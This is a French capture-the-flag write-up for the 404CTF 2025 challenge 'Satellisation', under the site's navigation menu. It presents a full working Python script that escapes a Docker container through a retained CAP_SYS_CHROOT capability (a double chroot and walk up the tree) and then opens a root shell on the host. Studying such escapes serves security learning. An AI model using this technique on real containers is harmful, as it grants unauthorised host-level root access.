Writeups
  • â„šī¸Infos
  • đŸ—“ī¸2021
    • DvCTF (to join DaVinciCode)
      • Crypto
        • Baby RSA
        • Ressaye
        • Unbreakable encryption
      • Forensics
        • Broken Portrait
        • Russian Dolls
        • Sus USB
      • Misc
        • Jus de Flag
        • Welcome
      • OSINT
        • Absolutely Nuts
      • Progra
        • Snoop's Mission
      • Reverse
        • Baby Reverse
        • Basic Cracking
        • Code Pyn
      • Steganography
        • Colorful Code
        • Hurt Your Eyes
        • Orchestra of Flags
        • Tyger
      • Web
        • Have I Been Pwned
        • What's Up ?
  • đŸ—“ī¸2022
    • DvCTF 2022
      • Crypto
        • Cwryptographic Owacle
        • Secure Or Not Secure
        • small weiner
      • Forensics
        • Very Bad Script
      • Misc
        • Data Leak
        • Going postal
        • The Hacker Man
      • OSINT
        • Elon Musk
        • Monkeey
        • Painting Spot
        • Welcome to the DaVinciCTF!
      • Pentest
        • DaVinci's Playlist : Part 1
        • DaVinci's Playlist : Part 2.5
        • DaVinci's Playlist : Part 2
      • Programming
        • Heaven's Gate
        • Sudoku
        • TicTacToe
      • Reverse
        • CryptoVault
        • Mine Game
        • Obfuscated
        • Peripheral Interface Controller XVI
      • Steganography
        • ICMP
        • The Arts of Details
        • Treasure
      • Warmup
        • EBG13
        • FrenchFlag
        • MP3
        • QmFzZTY0
        • RSA
        • Welcome
      • Web
        • CyberStreak v1.0
        • đŸŽĩ
    • picoCTF 2022
      • Challs WU
    • @HackDay - Qualifications
      • Crypto
        • Francis Bacon
        • Francs Maçons
        • Rotate-me!
        • Un message codÊ ?
      • Forensics
        • bad_timing_for_reversing
      • Hardware
        • Cubik'cipher
        • WebSDR
      • Reverse
        • Calling Conventions
        • Memory Investigation
      • Steganography
        • I can make pictures
        • J'ai perdu le flag :(
        • PokÊmons
        • Un coup de maÃŽtre
        • Un logo cachotier
      • Web
        • GIT!
        • Part. 1 - Uploads
        • Part. 2 - Old md5
        • Part. 3 - sudo python
    • 404CTF
      • Crypto
        • Un simple oracle [1/2]
        • Un simple oracle [2/2]
      • Misc
        • Je suis une thÊière
        • Pierre-papier-Hallebarde
        • GoGOLFplex
      • OSINT
        • À l'aube d'un Êchange
        • Collaborateur suspect
        • Equipement dÊsuet
      • Reverse
        • Mot de passe ?
      • Steganography
        • La plume à la main
        • PNG : Un logo obèse [1/4]
        • PNG : Drôles de chimères [2/4]
        • Toujours obèse [3/4]
      • Web
        • FichÊ JS
        • Le braquage
        • Du gÃĸteau
        • En construction !
    • Operation Kernel
      • Crypto
        • Scytale
      • Forensics
        • Research Paper
        • Excel Confidential
      • Reverse
        • CryptoLocker
        • What_If_CryptoLocker
      • Social Engineering
        • Pour vivre secure vivons cachÊ
        • Pour vivre secure vivons cachÊ Part 2
      • Stegano
        • AudioSpectre
        • Datacenter
        • Takazume
      • WEB
        • Research paper blog
        • SQL Project 1
        • SQL Project 2
        • SQL Project 3
        • Tenue de soirÊe requise
  • đŸ—“ī¸2023
    • 404CTF 2023
      • RÊsultats
      • Analyse forensique
        • PÃĒche au livre
        • Le Mystère du roman d'amour
        • Les Mystères du cluster de la Comtesse de SÊgur [1/2]
        • Lettres volatiles
        • Note de bas de page
      • Cloud
        • Le Sot
        • Le Cluster de Madame Bovary
        • Harpagon et le magot
        • Les nuages menaçants 1/3
        • Les nuages menaçants 2/3
      • Cryptanalyse
        • Recette
        • ASCON Marchombre
      • Divers
        • Bienvenue
        • Exemple de connexion à distance
        • Discord
        • À vos plumes !
      • Exploitation de binaires
        • Je veux la lune !
      • Programmation
        • L'Inondation
        • Des mots, des mots, des mots
      • Radio-FrÊquence
        • Navi
        • Avez-vous vu les cascades du hÊrisson ?
        • Le Plombier du cÃĸble
        • Ballistic Missile Submarine
      • Renseignement en sources ouvertes
        • Le Tour de France
        • Les OSINTables [1/3]
        • Un vol ?
        • L'Ãĸme d'un poète et le coeur d'une femme [1/4]
        • L'Ãĸme d'un poète et le coeur d'une femme [2/4]
        • L'Ãĸme d'un poète et le coeur d'une femme [3/4]
        • L'Ãĸme d'un poète et le coeur d'une femme [4/4]
      • RÊtro IngÊnierie
        • Le Divin Crackme
        • L'Inspiration en images
      • SÊcuritÊ MatÊrielle
        • Un courrier suspect
        • Un rÊveil difficile
      • StÊganographie
        • Odobenus Rosmarus
        • L'Œuvre
        • Les FÊlicitations
        • En Profondeur
        • Le Rouge et le vert, avec un soupçon de bleu
      • Web
        • Le Loup et le renard
        • L'AcadÊmie du dÊtail
        • La Vie Française
        • Fuite en 1791
        • L'Épistolaire moderne
        • Chanson d'Inde
      • Web3
        • Art
        • L'Antiquaire, tÃĒte en l'air
  • đŸ—“ī¸2025
    • 404CTF 2025
      • RÊsultats
      • Algorithmique Quantique
        • Machinerie quantique
        • Grover (1/2)
        • Grover (2/2)
      • Analyse forensique
        • USB 51
        • Forensic et Mat [1/2]
        • Apprenti Carver [1/2]
        • Dockerflag
        • Forensic et Mat [2/2]
        • Apprenti Carver [2/2]
        • Tape ton MDP
        • Toortik Triflexation [1/2]
        • Toortik Triflexation [2/2]
      • Cryptanalyse
        • Message lointain
        • Entretien galactique
        • R1R2
        • Saturn Cipher
        • Planètes anormales
        • Spacemark
        • You spin me round
        • DÊrive dans l'espace
        • Lunette cosmico galactique
        • Jupiter Cipher
        • Courbe de Lancement
        • More Space
      • Divers
        • Bienvenue
        • Pix2Num
        • Politique de confidentialitÊ
        • Space Traveller
        • Satellisation
        • Étoile binaire [2/2]
      • Exploitation de binaires
        • Gorfou en danger [1/3]
        • Gorfou en danger [2/3]
        • Gorfou en danger [3/3]
        • Spaaaaaaace
        • KerberINT Space Program
        • 22 bytes pour sauver l'univers
        • Bounty Machine
        • Space Odyssey
        • Solaris
        • Cosmic-Base
        • Kalaxy
        • Bokit
      • Intelligence Artificielle
        • Gorfoustral (1/3)
        • Gorfoustral (2/3)
        • Gorfoustral (3/3)
        • Du tatouage
      • Renseignement en sources ouvertes
        • L'addition est salÊe
        • Une mission inconnue
        • Earth Attack (0/2)
        • Un satellite qui vaut de l'or
        • Un peu de vacances
        • La ville en rose
        • Earth Attack (1/2)
        • La tÃĒte dans les Êtoiles
        • En eaux sombres
        • Earth Attack (2/2)
        • DPOsint
      • RÊaliste
        • The LDAP Chronicles
        • Houston, we have a problem
        • Named Resolve
        • The AD Guardians
        • The GPO Mission
        • Ghost Membership
      • RÊtro-IngÊnierie
        • Cbizarre [1/2]
        • Cbizarre [2/2]
        • Reversconstrictor
        • 3x3cut3_m3
        • Inscription
        • Étoile binaire [1/2]
        • RFC 9452 bis: IP over Rockets with Quality of Service
      • SÊcuritÊ matÊrielle
        • Trop d'IQ
        • Space Radio
        • R16D4
        • Comment est votre tempÊrature ?
        • Code Radiospatial n°1
        • Unidentified Serial Bus [1/2]
        • Unidentified Serial Bus [2/2]
      • SÊcuritÊ Web
        • Cheese Chess
        • Rainbow Rocket
        • Fire Server
        • Sideral Noise
        • Space Fleet Command
Powered by GitBook
On this page

Was this helpful?

  1. 2025
  2. 404CTF 2025
  3. Divers

Satellisation

PreviousSpace TravellerNextÉtoile binaire [2/2]

Last updated 2 days ago

Was this helpful?

CatÊgorie: Divers - DifficultÊ: Difficile

Description:

Solution:

Pour ce challenge, le but est de s'Êchapper du container Docker dans lequel nous sommes afin d'accÊder à la machine hôte et de rÊcupÊrer le fichier /root/flag.txt.

Pour ce faire, nous passons par plusieurs Êtapes cruciales :

  • Lors de la connexion en SSH, nous arrivons sur le Docker avec un compte root

  • Nous voyons ce qu'il se passe au dÊmarrage :

  • Nous avons Êgalement le script container.c à analyser, avec une info cruciale à prendre en compte :

  • Python est utilisable sur le Docker

Avec tout cela, nous allons pouvoir faire quelques tests et surtout un script python afin d'automatiser la sortie du Docker.

Passons directement aux choses sÊrieuses, avec un petit peu de reconnaissance et le fameux script Python :

Nous voyons ici que nous n'avons pas de fichier flag.txt, ce qui est un peu ennuyeux quand on doit retrouver le contenu de ce fameux fichier ^^.

Maintenant pour le script Python, voici ce qui fonctionne parfaitement :

#!/usr/bin/env python3
"""
Évasion du conteneur : on exploite le fait que la capacitÊ CAP_SYS_CHROOT
n’a pas ÊtÊ retirÊe. L’idÊe est de :
  1. faire un 1° chroot vers un dossier factice à l’intÊrieur* du conteneur
  2. remonter le plus haut possible dans l’arborescence
  3. refaire un chroot(".") pour redÊfinir / qui correspond maintenant
     au ÂĢ vrai Âģ root de la machine hôte
  4. lancer un shell root.
"""

import os          # appels système (chroot, chdir, â€Ļ)
import subprocess  # pour exÊcuter /bin/bash
import pathlib     # crÊation propre du dossier de fuite
import itertools   # gÊnÊrer une boucle ÂĢ infinie Âģ sans compteur explicite

# ─────────────────────────────────────────────────────────────────────────────
# 1) PrÊparation : on crÊe un dossier qui servira de ÂĢ leurre Âģ
# ─────────────────────────────────────────────────────────────────────────────
ESC = "/tmp/eroot"
pathlib.Path(ESC).mkdir(exist_ok=True)

# ─────────────────────────────────────────────────────────────────────────────
# 2) Premier chroot
# ─────────────────────────────────────────────────────────────────────────────
# Après cet appel, le noyau considère ESC comme la nouvelle racine.
# ATTENTION : notre rÊpertoire courant ÂĢ / Âģ est en dehors de ce nouvel
# espace. C’est prÊcisÊment ce qu’on veut exploiter.
os.chroot(ESC)

# ─────────────────────────────────────────────────────────────────────────────
# 3) On remonte l’arborescence jusqu’à atteindre la VRAIE racine
# ─────────────────────────────────────────────────────────────────────────────
for _ in itertools.repeat(None, 500):
    try:
        os.chdir("..")
    except FileNotFoundError:
        break

# À l’issue de la boucle, le cwd est la vraie racine (celle du host)

# ─────────────────────────────────────────────────────────────────────────────
# 4) Deuxième chroot – on re-dÊfinit ÂĢ / Âģ sur le host
# ─────────────────────────────────────────────────────────────────────────────
# Le point (.) correspond au cwd => devient la nouvelle racine pour le
# processus (= root du système hôte). Nous sommes donc ÂĢ sortis Âģ du conteneur.
os.chroot(".")

# ─────────────────────────────────────────────────────────────────────────────
# 5) On profite de nos privilèges root pour lancer un shell
# ─────────────────────────────────────────────────────────────────────────────
subprocess.call("/bin/bash")

Voici ce qu'il se passe quand nous lançons le script :

Nous avons enfin notre prÊcieux fichier flag.txt. Alors allons le lire :

Il ne faut parfois pas ÃĒtre trop pressÊ, car sans droits, nous ne pouvons pas lire les fichiers ^^

🚩FLAG

404CTF{@v3k_l4_vE9a_M1ssYl_v0uz_e73s_saTelLize_c4_n3_l@1zS3_pAs_1ndiffeR3nt}

Les sont dÊsactivÊs, sauf celle qui nous intÊresse : CAP_SYS_CHROOT. permets d'utiliser l'appel système chroot() afin d'Êchapper du Docker :

đŸ—“ī¸
hauts privilèges du container Docker
Cette fonction
28KB
container.c